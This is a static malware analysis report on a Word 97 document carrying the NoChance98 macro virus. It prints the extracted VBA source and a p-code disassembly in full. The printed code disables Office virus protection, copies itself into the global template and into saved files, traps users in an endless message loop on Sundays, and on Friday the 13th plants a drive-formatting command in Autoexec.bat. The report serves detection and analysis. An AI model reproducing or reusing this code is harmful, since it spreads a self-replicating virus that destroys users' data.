Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 90bb7cf5e0d89991…

MALICIOUS

Office (OLE)

92.0 KB Created: 1998-03-17 14:58:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 774c85751d2aa7fb6437660f83371ab6 SHA-1: 857e00ecc096234e313128b5e6318539cedef076 SHA-256: 90bb7cf5e0d89991d9e099392bcb75993b471f1a25974265d728e6142d85a206
248 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains legacy WordBasic macro markers and a VBA AutoOpen macro, indicating malicious intent. The script attempts to disable macro security and includes code that, if fully executed, could format the C: drive and append commands to 'C:\Autoexec.bat', suggesting an attempt to establish persistence and cause system damage. The ClamAV detection 'Doc.Trojan.NoChance-3' further supports its malicious nature.

Heuristics 5

  • ClamAV: Doc.Trojan.NoChance-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.NoChance-3
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    Options.VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 25186 bytes
SHA-256: 728c32bc6c69f2100ec8ac37f62dcff5a0ff5fba369baa7cffad111203862091
Detection
ClamAV: Doc.Trojan.NoChance-3
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "NoChance98"
Sub AutoExec()
Attribute AutoExec.VB_Description = "Macro créée par ZeMacroKiller98"
Attribute AutoExec.VB_ProcData.VB_Invoke_Func = "Virus.NoChance98.AutoExec"
'
' Macro créée par ZeMacroKiller
' La Charge
Application.EnableCancelKey = wdCancelDisabled  'Disable Ctrl + Attn
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorPayload
Dim MyTime, MyDate, MyWeek
MyDate = Date
D$ = Mid(MyDate, 1, 2)
MyTime = Time
Th$ = Mid(MyTime, 1, 2)
Tm$ = Mid(MyTime, 4, 2)
Ts$ = Mid(MyTime, 7, 2)
MyWeek = WeekDay(MyDate, vbMonday)
If MyWeek = "7" Then
Message:
    MsgBox "On ne travaille pas le Dimanche...", vbExclamation, "C'est Dimanche et j'ai l'intention de me relaxer!"
GoTo Message
End If
If Th$ = "13" Then
    StatusBar = "C'est la CHANCE de ta vie...!!!"
End If
If Tm$ = "13" Then
    StatusBar = "La Chance tourne pour toi...!!!"
End If
If Ts$ = "13" Then
    StatusBar = "Tu as beaucoup de CHANCE...!!!"
End If
If (MyWeek = "5") And (D$ = "13") Then
    MsgBox "Pas de chance pour toi, aujourd'hui...", vbExclamation, "Vendredi 13"
    MsgBox "Je vais formater ton disque dur C: ", vbCritical, "Vendredi 13"
    MsgBox "C'est une blague...", vbInformation, "Vendredi 13"
    MsgBox "HAHAHAHAHA!", vbExclamation, "Vendredi 13"
    MsgBox "Soyez pas supersticieux...", vbExclamation, "Vendredi 13"
    Open "C:\Autoexec.bat" For Append As #1
    Print #1, "Cls"
    Print #1, "@Echo on"
    Print #1, "@Echo Tu te rappelle du message de Word:"
    Print #1, "@Echo Je vais formater votre disque dur C:"
    Print #1, "@Echo C'est pas une blague, c'est la vérité..."
    Print #1, "@Echo N'oublies pas que nous sommes VENDREDI 13..."
    Print #1, "@Echo Dommage pour toi"
    Print #1, "@Echo On y va..."
    Print #1, "@Echo y|Format c: /u"
End If
ErrorPayload:
End Sub
Sub AutoOpen()
Attribute AutoOpen.VB_Description = "Macro créee par ZeMacroKiller98"
Attribute AutoOpen.VB_ProcData.VB_Invoke_Func = "Virus.NoChance98.AutoOpen"
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorInfectNormalTemplate
    Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="NoChance98", Object:=wdOrganizerObjectProjectItems
    Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="UserForm900", Object:=wdOrganizerObjectProjectItems
    Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="UserForm999", Object:=wdOrganizerObjectProjectItems
StatusBar = "Virus NoChance98 de ZeMacroKiller"
ErrorInfectNormalTemplate:
End Sub
Sub FileSaveAs()
Attribute FileSaveAs.VB_Description = "Macro créee par ZeMacroKiller98"
Attribute FileSaveAs.VB_ProcData.VB_Invoke_Func = "Virus.NoChance98.FileSaveAs"
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
    Dialogs(wdDialogFileSaveAs).Show
On Error GoTo ErrorFSA
If (ActiveDocument.SaveFormat = wdFormatDocument) Or (ActiveDocument.SaveFormat = wdFormatTemplate) Then
    ActiveDocument.SaveAs Fileformat:=wdFormatTemplate
    Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="NoChance98", Object:=wdOrganizerObjectProjectItems
    Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="UserForm900", Object:=wdOrganizerObjectProjectItems
    Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="UserForm999", Object:=wdOrganizerObjectProjectItems
    ActiveDocument.Save
End If
ErrorFSA:
End Sub
Sub FileTemplates()
Attribute FileTemplates.VB_Description = "Macro créee par ZeMacroKiller98"
Attribute FileTemplates.VB_ProcData.VB_Invoke_Func = "Virus.NoChance98.FileTemplates"
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorFT
    UserForm900.Show
ErrorFT:
End Sub
Sub ToolsMacro()
Attribute ToolsMacro.VB_Description = "Macro créee par ZeMacroKiller98"
Attribute ToolsMacro.VB_ProcData.VB_Invoke_Func = "Virus.NoChance98.ToolsMacro"
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorTM
    UserForm999.Show
ErrorTM:
End Sub
Sub ViewVBCode()
Attribute ViewVBCode.VB_Description = "Macro créee par ZeMacroKiller98"
Attribute ViewVBCode.VB_ProcData.VB_Invoke_Func = "Virus.NoChance98.ViewVBCode"
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorVVBC
    MsgBox "Ce programme a réalisé une opération illégale et va être interrompu.", vbCritical, "Microsoft Word"
ErrorVVBC:
End Sub

Attribute VB_Name = "UserForm900"
Attribute VB_Base = "0{8AE1C298-BDB0-11D1-82AB-8C6705C10000}{8AE1C286-BDB0-11D1-82AB-8C6705C10000}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False




Private Sub CommandButton1_Click()
MsgBox "Ce programme a réalisé une opération illégale et va être interrompu.", vbCritical, Title:="Microsoft Word"
Unload UserForm900
End Sub

Private Sub CommandButton2_Click()
MsgBox "Ce programme a réalisé une opération illégale et va être interrompu.", vbCritical, Title:="Microsoft Word"
Unload UserForm900
End Sub

Private Sub CommandButton3_Click()
MsgBox "Ce programme a réalisé une opération illégale et va être interrompu.", vbCritical, Title:="Microsoft Word"
Unload UserForm900
End Sub

Private Sub CommandButton4_Click()
MsgBox "Ce programme a réalisé une opération illégale et va être interrompu.", vbCritical, Title:="Microsoft Word"
Unload UserForm900
End Sub

Private Sub CommandButton5_Click()
MsgBox "Ce programme a réalisé une opération illégale et va être interrompu.", vbCritical, Title:="Microsoft Word"
Unload UserForm900
End Sub

Private Sub CommandButton6_Click()
Unload UserForm900
End Sub

Private Sub UserForm_Initialize()
    TextBox1.Text = NormalTemplate.Name
    CommandButton2.Enabled = False
    CommandButton3.Enabled = False
    CommandButton4.Enabled = False
End Sub

Attribute VB_Name = "UserForm999"
Attribute VB_Base = "0{8AE1C29E-BDB0-11D1-82AB-8C6705C10000}{8AE1C290-BDB0-11D1-82AB-8C6705C10000}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False



Private Sub ListBox1_Click()
    If ListBox1.Selected(0) = True Then
        CommandButton1.Enabled = True
        CommandButton3.Enabled = True
        CommandButton4.Enabled = True
        CommandButton6.Enabled = True
    ElseIf ListBox1.Selected(1) = True Then
        CommandButton1.Enabled = True
        CommandButton3.Enabled = True
        CommandButton4.Enabled = True
        CommandButton6.Enabled = True
    Else
        CommandButton1.Enabled = False
        CommandButton3.Enabled = False
        CommandButton4.Enabled = False
        CommandButton6.Enabled = False
    End If
End Sub

Private Sub UserForm_Initialize()
    ComboBox1.AddItem "Commande Word"
    ComboBox1.AddItem "Tous les modèles actifs"
    ComboBox1.AddItem "Normal.dot (modèle global)"
    ComboBox1.AddItem WordBasic.WindowName$()
    CommandButton1.Enabled = False
    CommandButton3.Enabled = False
    
End Sub

Private Sub CommandButton1_Click()
MsgBox "Ce programme a réalisé une opération illégale et va être interrompu.", vbCritical, "Microsoft Word"
Unload UserForm999
End Sub
Private Sub CommandButton2_Click()
Unload UserForm999
End Sub

Private Sub CommandButton3_Click()
MsgBox "Ce programme a réalisé une opération illégale et va être interrompu.", vbCritical, "Microsoft Word"
Unload UserForm999
End Sub

Private Sub CommandButton4_Click()
MsgBox "Ce programme a réalisé une opération illégale et va être interrompu.", vbCritical, "Microsoft Word"
Unload UserForm999
End Sub

Private Sub CommandButton5_Click()
MsgBox "Ce programme a réalisé une opération illégale et va être interrompu.", vbCritical, "Microsoft Word"
Unload UserForm999
End Sub

Private Sub CommandButton6_Click()
MsgBox "Ce programme a réalisé une opération illégale et va être interrompu.", vbCritical, "Microsoft Word"
Unload UserForm999
End Sub

Private Sub CommandButton7_Click()
MsgBox "Ce programme a réalisé une opération illégale et va être interrompu.", vbCritical, "Microsoft Word"
Unload UserForm999
End Sub
Private Sub ScrollBar1_Change()
MsgBox "Ce programme a réalisé une opération illégale et va être interrompu.", vbCritical, "Microsoft Word"
Unload UserForm999
End Sub


' Processing file: /tmp/qstore_3v_vj7jp
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 1117 bytes
' Macros/VBA/NoChance98 - 10459 bytes
' Line #0:
' 	FuncDefn (Sub AutoExec())
' Line #1:
' 	QuoteRem 0x0000 0x0000 ""
' Line #2:
' 	QuoteRem 0x0000 0x001E " Macro créée par ZeMacroKiller"
' Line #3:
' 	QuoteRem 0x0000 0x000A " La Charge"
' Line #4:
' 	Ld wdCancelDisabled 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' 	QuoteRem 0x0030 0x0013 "Disable Ctrl + Attn"
' Line #5:
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemCall DisableAutoMacros 0x0001 
' Line #6:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #7:
' 	OnError ErrorPayload 
' Line #8:
' 	Dim 
' 	VarDefn MyTime
' 	VarDefn MyDate
' 	VarDefn MyWeek
' Line #9:
' 	Ld Date 
' 	St MyDate 
' Line #10:
' 	Ld MyDate 
' 	LitDI2 0x0001 
' 	LitDI2 0x0002 
' 	ArgsLd Mid$ 0x0003 
' 	St D$ 
' Line #11:
' 	Ld Time 
' 	St MyTime 
' Line #12:
' 	Ld MyTime 
' 	LitDI2 0x0001 
' 	LitDI2 0x0002 
' 	ArgsLd Mid$ 0x0003 
' 	St Th$ 
' Line #13:
' 	Ld MyTime 
' 	LitDI2 0x0004 
' 	LitDI2 0x0002 
' 	ArgsLd Mid$ 0x0003 
' 	St Tm$ 
' Line #14:
' 	Ld MyTime 
' 	LitDI2 0x0007 
' 	LitDI2 0x0002 
' 	ArgsLd Mid$ 0x0003 
' 	St Ts$ 
' Line #15:
' 	Ld MyDate 
' 	Ld vbMonday 
' 	ArgsLd WeekDay 0x0002 
' 	St MyWeek 
' Line #16:
' 	Ld MyWeek 
' 	LitStr 0x0001 "7"
' 	Eq 
' 	IfBlock 
' Line #17:
' 	Label Message 
' Line #18:
' 	LitStr 0x0022 "On ne travaille pas le Dimanche..."
' 	Ld vbExclamation 
' 	LitStr 0x0031 "C'est Dimanche et j'ai l'intention de me relaxer!"
' 	ArgsCall MsgBox 0x0003 
' Line #19:
' 	GoTo Message 
' Line #20:
' 	EndIfBlock 
' Line #21:
' 	Ld Th$ 
' 	LitStr 0x0002 "13"
' 	Eq 
' 	IfBlock 
' Line #22:
' 	LitStr 0x001F "C'est la CHANCE de ta vie...!!!"
' 	St StatusBar 
' Line #23:
' 	EndIfBlock 
' Line #24:
' 	Ld Tm$ 
' 	LitStr 0x0002 "13"
' 	Eq 
' 	IfBlock 
' Line #25:
' 	LitStr 0x001F "La Chance tourne pour toi...!!!"
' 	St StatusBar 
' Line #26:
' 	EndIfBlock 
' Line #27:
' 	Ld Ts$ 
' 	LitStr 0x0002 "13"
' 	Eq 
' 	IfBlock 
' Line #28:
' 	LitStr 0x001E "Tu as beaucoup de CHANCE...!!!"
' 	St StatusBar 
' Line #29:
' 	EndIfBlock 
' Line #30:
' 	Ld MyWeek 
' 	LitStr 0x0001 "5"
' 	Eq 
' 	Paren 
' 	Ld D$ 
' 	LitStr 0x0002 "13"
' 	Eq 
' 	Paren 
' 	And 
' 	IfBlock 
' Line #31:
' 	LitStr 0x0026 "Pas de chance pour toi, aujourd'hui..."
' 	Ld vbExclamation 
' 	LitStr 0x000B "Vendredi 13"
' 	ArgsCall MsgBox 0x0003 
' Line #32:
' 	LitStr 0x0023 "Je vais formater ton disque dur C: "
' 	Ld vbCritical 
' 	LitStr 0x000B "Vendredi 13"
' 	ArgsCall MsgBox 0x0003 
' Line #33:
' 	LitStr 0x0013 "C'est une blague..."
' 	Ld vbInformation 
' 	LitStr 0x000B "Vendredi 13"
' 	ArgsCall MsgBox 0x0003 
' Line #34:
' 	LitStr 0x000B "HAHAHAHAHA!"
' 	Ld vbExclamation 
' 	LitStr 0x000B "Vendredi 13"
' 	ArgsCall MsgBox 0x0003 
' Line #35:
' 	LitStr 0x001A "Soyez pas supersticieux..."
' 	Ld vbExclamation 
' 	LitStr 0x000B "Vendredi 13"
' 	ArgsCall MsgBox 0x0003 
' Line #36:
' 	LitStr 0x000F "C:\Autoexec.bat"
' 	LitDI2 0x0001 
' 	Sharp 
' 	LitDefault 
' 	Open (For Append)
' Line #37:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	LitStr 0x0003 "Cls"
' 	PrintItemNL 
' Line #38:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	LitStr 0x0008 "@Echo on"
' 	PrintItemNL 
' Line #39:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	LitStr 0x0028 "@Echo Tu te rappelle du message de Word:"
' 	PrintItemNL 
' Line #40:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	LitStr 0x002A "@Echo Je vais formater votre disque dur C:"
' 	PrintItemNL 
' Line #41:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	LitStr 0x002E "@Echo C'est pas une blague, c'est la vérité..."
' 	PrintItemNL 
' Line #42:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	LitStr 0x0032 "@Echo N'oublies pas que nous sommes VENDREDI 13..."
' 	PrintItemNL 
' Line #43:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	LitStr 0x0016 "@Echo Dommage pour toi"
' 	PrintItemNL 
' Line #44:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	LitStr 0x0010 "@Echo On y va..."
' 	PrintItemNL 
' Line #45:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	LitStr 0x0014 "@Echo y|Format c: /u"
' 	PrintItemNL 
' Line #46:
' 	EndIfBlock 
' Line #47:
' 	Label ErrorPayload 
' Line #48:
' 	EndSub 
' Line #49:
' 	FuncDefn (Sub AutoOpen())
' Line #50:
' 	Ld wdCancelDisabled 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #51:
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemCall DisableAutoMacros 0x0001 
' Line #52:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #53:
' 	OnError ErrorInfectNormalTemplate 
' Line #54:
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	ParamNamed Source 
' 	Ld NormalTemplate 
' 	MemLd FullName 
' 	ParamNamed Destination 
' 	LitStr 0x000A "NoChance98"
' 	ParamNamed New 
' 	Ld wdOrganizerObjectProjectItems 
' 	ParamNamed On 
' 	Ld Application 
' 	ArgsMemCall OrganizerCopy 0x0004 
' Line #55:
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	ParamNamed Source 
' 	Ld NormalTemplate 
' 	MemLd FullName 
' 	ParamNamed Destination 
' 	LitStr 0x000B "UserForm900"
' 	ParamNamed New 
' 	Ld wdOrganizerObjectProjectItems 
' 	ParamNamed On 
' 	Ld Application 
' 	ArgsMemCall OrganizerCopy 0x0004 
' Line #56:
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	ParamNamed Source 
' 	Ld NormalTemplate 
' 	MemLd FullName 
' 	ParamNamed Destination 
' 	LitStr 0x000B "UserForm999"
' 	ParamNamed New 
' 	Ld wdOrganizerObjectProjectItems 
' 	ParamNamed On 
' 	Ld Application 
' 	ArgsMemCall OrganizerCopy 0x0004 
' Line #57:
' 	LitStr 0x0021 "Virus NoChance98 de ZeMacroKiller"
' 	St StatusBar 
' Line #58:
' 	Label ErrorInfectNormalTemplate 
' Line #59:
' 	EndSub 
' Line #60:
' 	FuncDefn (Sub FileSaveAs())
' Line #61:
' 	Ld wdCancelDisabled 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #62:
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemCall DisableAutoMacros 0x0001 
' Line #63:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #64:
' 	Ld wdDialogFileSaveAs 
' 	ArgsLd Dialogs 0x0001 
' 	ArgsMemCall Show 0x0000 
' Line #65:
' 	OnError ErrorFSA 
' Line #66:
' 	Ld ActiveDocument 
' 	MemLd SaveFormat 
' 	Ld wdFormatDocument 
' 	Eq 
' 	Paren 
' 	Ld ActiveDocument 
' 	MemLd SaveFormat 
' 	Ld wdFormatTemplate 
' 	Eq 
' 	Paren 
' 	Or 
' 	IfBlock 
' Line #67:
' 	Ld wdFormatTemplate 
' 	ParamNamed Fileformat 
' 	Ld ActiveDocument 
' 	ArgsMemCall SaveAs 0x0001 
' Line #68:
' 	Ld NormalTemplate 
' 	MemLd FullName 
' 	ParamNamed Source 
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	ParamNamed Destination 
' 	LitStr 0x000A "NoChance98"
' 	ParamNamed New 
' 	Ld wdOrganizerObjectProjectItems 
' 	ParamNamed On 
' 	Ld Application 
' 	ArgsMemCall OrganizerCopy 0x0004 
' Line #69:
' 	Ld NormalTemplate 
' 	MemLd FullName 
' 	ParamNamed Source 
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	ParamNamed Destination 
' 	LitStr 0x000B "UserForm900"
' 	ParamNamed New 
' 	Ld wdOrganizerObjectProjectItems 
' 	ParamNamed On 
' 	Ld Application 
' 	ArgsMemCall OrganizerCopy 0x0004 
' Line #70:
' 	Ld NormalTemplate 
' 	MemLd FullName 
' 	ParamNamed Source 
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	ParamNamed Destination 
' 	LitStr 0x000B "UserForm999"
' 	ParamNamed New 
' 	Ld wdOrganizerObjectProjectItems 
' 	ParamNamed On 
' 	Ld Application 
' 	ArgsMemCall OrganizerCopy 0x0004 
' Line #71:
' 	Ld ActiveDocument 
' 	ArgsMemCall Save 0x0000 
' Line #72:
' 	EndIfBlock 
' Line #73:
' 	Label ErrorFSA 
' Line #74:
' 	EndSub 
' Line #75:
' 	FuncDefn (Sub FileTemplates())
' Line #76:
' 	Ld wdCancelDisabled 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #77:
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemCall DisableAutoMacros 0x0001 
' Line #78:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #79:
' 	OnError ErrorFT 
' Line #80:
' 	Ld UserForm900 
' 	ArgsMemCall Show 0x0000 
' Line #81:
' 	Label ErrorFT 
' Line #82:
' 	EndSub 
' Line #83:
' 	FuncDefn (Sub ToolsMacro())
' Line #84:
' 	Ld wdCancelDisabled 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #85:
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemCall DisableAutoMacros 0x0001 
' Line #86:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #87:
' 	OnError ErrorTM 
' Line #88:
' 	Ld UserForm999 
' 	ArgsMemCall Show 0x0000 
' Line #89:
' 	Label ErrorTM 
' Line #90:
' 	EndSub 
' Line #91:
' 	FuncDefn (Sub ViewVBCode())
' Line #92:
' 	Ld wdCancelDisabled 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #93:
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemCall DisableAutoMacros 0x0001 
' Line #94:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #95:
' 	OnError ErrorVVBC 
' Line #96:
' 	LitStr 0x0044 "Ce programme a réalisé une opération illégale et va être interrompu."
' 	Ld vbCritical 
' 	LitStr 0x000E "Microsoft Word"
' 	ArgsCall MsgBox 0x0003 
' Line #97:
' 	Label ErrorVVBC 
' Line #98:
' 	EndSub 
' Macros/VBA/UserForm900 - 7097 bytes
' Line #0:
' Line #1:
' Line #2:
' Line #3:
' Line #4:
' 	FuncDefn (Private Sub CommandButton1_Click())
' Line #5:
' 	LitStr 0x0044 "Ce programme a réalisé une opération illégale et va être interrompu."
' 	Ld vbCritical 
' 	LitStr 0x000E "Microsoft Word"
' 	ParamNamed Title 
' 	ArgsCall MsgBox 0x0003 
' Line #6:
' 	Ld UserForm900 
' 	ArgsCall Unlock 0x0001 
' Line #7:
' 	EndSub 
' Line #8:
' Line #9:
' 	FuncDefn (Private Sub CommandButton2_Click())
' Line #10:
' 	LitStr 0x0044 "Ce programme a réalisé une opération illégale et va être interrompu."
' 	Ld vbCritical 
' 	LitStr 0x000E "Microsoft Word"
' 	ParamNamed Title 
' 	ArgsCall MsgBox 0x0003 
' Line #11:
' 	Ld UserForm900 
' 	ArgsCall Unlock 0x0001 
' Line #12:
' 	EndSub 
' Line #13:
' Line #14:
' 	FuncDefn (Private Sub CommandButton3_Click())
' Line #15:
' 	LitStr 0x0044 "Ce programme a réalisé une opération illégale et va être interrompu."
' 	Ld vbCritical 
' 	LitStr 0x000E "Microsoft Word"
' 	ParamNamed Title 
' 	ArgsCall MsgBox 0x0003 
' Line #16:
' 	Ld UserForm900 
' 	ArgsCall Unlock 0x0001 
' Line #17:
' 	EndSub 
' Line #18:
' Line #19:
' 	FuncDefn (Private Sub CommandButton4_Click())
' Line #20:
' 	LitStr 0x0044 "Ce programme a réalisé une opération illégale et va être interrompu."
' 	Ld vbCritical 
' 	LitStr 0x000E "Microsoft Word"
' 	ParamNamed Title 
' 	ArgsCall MsgBox 0x0003 
' Line #21:
' 	Ld UserForm900 
' 	ArgsCall Unlock 0x0001 
' Line #22:
' 	EndSub 
' Line #23:
' Line #24:
' 	FuncDefn (Private Sub CommandButton5_Click())
' Line #25:
' 	LitStr 0x0044 "Ce programme a réalisé une opération illégale et va être interrompu."
' 	Ld vbCritical 
' 	LitStr 0x000E "Microsoft Word"
' 	ParamNamed Title 
' 	ArgsCall MsgBox 0x0003 
' Line #26:
' 	Ld UserForm900 
' 	ArgsCall Unlock 0x0001 
' Line #27:
' 	EndSub 
' Line #28:
' Line #29:
' 	FuncDefn (Private Sub CommandButton6_Click())
' Line #30:
' 	Ld UserForm900 
' 	ArgsCall Unlock 0x0001 
' Line #31:
' 	EndSub 
' Line #32:
' Line #33:
' 	FuncDefn (Private Sub UserForm_Initialize())
' Line #34:
' 	Ld NormalTemplate 
' 	MemLd New 
' 	Ld TextBox1 
' 	MemSt Then 
' Line #35:
' 	LitVarSpecial (False)
' 	Ld CommandButton2 
' 	MemSt Enabled 
' Line #36:
' 	LitVarSpecial (False)
' 	Ld CommandButton3 
' 	MemSt Enabled 
' Line #37:
' 	LitVarSpecial (False)
' 	Ld CommandButton4 
' 	MemSt Enabled 
' Line #38:
' 	EndSub 
' Macros/VBA/UserForm999 - 10046 bytes
' Line #0:
' Line #1:
' Line #2:
' Line #3:
' 	FuncDefn (Private Sub ListBox1_Click())
' Line #4:
' 	LitDI2 0x0000 
' 	Ld ListBox1 
' 	ArgsMemLd Selected 0x0001 
' 	LitVarSpecial (True)
' 	Eq 
' 	IfBlock 
' Line #5:
' 	LitVarSpecial (True)
' 	Ld CommandButton1 
' 	MemSt Enabled 
' Line #6:
' 	LitVarSpecial (True)
' 	Ld CommandButton3 
' 	MemSt Enabled 
' Line #7:
' 	LitVarSpecial (True)
' 	Ld CommandButton4 
' 	MemSt Enabled 
' Line #8:
' 	LitVarSpecial (True)
' 	Ld CommandButton6 
' 	MemSt Enabled 
' Line #9:
' 	LitDI2 0x0001 
' 	Ld ListBox1 
' 	ArgsMemLd Selected 0x0001 
' 	LitVarSpecial (True)
' 	Eq 
' 	ElseIfBlock 
' Line #10:
' 	LitVarSpecial (True)
' 	Ld CommandButton1 
' 	MemSt Enabled 
' Line #11:
' 	LitVarSpecial (True)
' 	Ld CommandButton3 
' 	MemSt Enabled 
' Line #12:
' 	LitVarSpecial (True)
' 	Ld CommandButton4 
' 	MemSt Enabled 
' Line #13:
' 	LitVarSpecial (True)
' 	Ld CommandButton6 
' 	MemSt Enabled 
' Line #14:
' 	ElseBlock 
' Line #15:
' 	LitVarSpecial (False)
' 	Ld CommandButton1 
' 	MemSt Enabled 
' Line #16:
' 	LitVarSpecial (False)
' 	Ld CommandButton3 
' 	MemSt Enabled 
' Line #17:
' 	LitVarSpecial (False)
' 	Ld CommandButton4 
' 	MemSt Enabled 
' Line #18:
' 	LitVarSpecial (False)
' 	Ld CommandButton6 
' 	MemSt Enabled 
' Line #19:
' 	EndIfBlock 
' Line #20:
' 	EndSub 
' Line #21:
' Line #22:
' 	FuncDefn (Private Sub UserForm_Initialize())
' Line #23:
' 	LitStr 0x000D "Commande Word"
' 	Ld ComboBox1 
' 	ArgsMemCall AddItem 0x0001 
' Line #24:
' 	LitStr 0x0017 "Tous les modèles actifs"
' 	Ld ComboBox1 
' 	ArgsMemCall AddItem 0x0001 
' Line #25:
' 	LitStr 0x001A "Normal.dot (modèle global)"
' 	Ld ComboBox1 
' 	ArgsMemCall AddItem 0x0001 
' Line #26:
' 	Ld WordBasic 
' 	ArgsMemLd WindowName$ 0x0000 
' 	Ld ComboBox1 
' 	ArgsMemCall AddItem 0x0001 
' Line #27:
' 	LitVarSpecial (False)
' 	Ld CommandButton1 
' 	MemSt Enabled 
' Line #28:
' 	LitVarSpecial (False)
' 	Ld CommandButton3 
' 	MemSt Enabled 
' Line #29:
' Line #30:
' 	EndSub 
' Line #31:
' Line #32:
' 	FuncDefn (Private Sub CommandButton1_Click())
' Line #33:
' 	LitStr 0x0044 "Ce programme a réalisé une opération illégale et va être interrompu."
' 	Ld vbCritical 
' 	LitStr 0x000E "Microsoft Word"
' 	ArgsCall MsgBox 0x0003 
' Line #34:
' 	Ld UserForm999 
' 	ArgsCall Unlock 0x0001 
' Line #35:
' 	EndSub 
' Line #36:
' 	FuncDefn (Private Sub CommandButton2_Click())
' Line #37:
' 	Ld UserForm999 
' 	ArgsCall Unlock 0x0001 
' Line #38:
' 	EndSub 
' Line #39:
' Line #40:
' 	FuncDefn (Private Sub CommandButton3_Click())
' Line #41:
' 	LitStr 0x0044 "Ce programme a réalisé une opération illégale et va être interrompu."
' 	Ld vbCritical 
' 	LitStr 0x000E "Microsoft Word"
' 	ArgsCall MsgBox 0x0003 
' Line #42:
' 	Ld UserForm999 
' 	ArgsCall Unlock 0x0001 
' Line #43:
' 	EndSub 
' Line #44:
' Line #45:
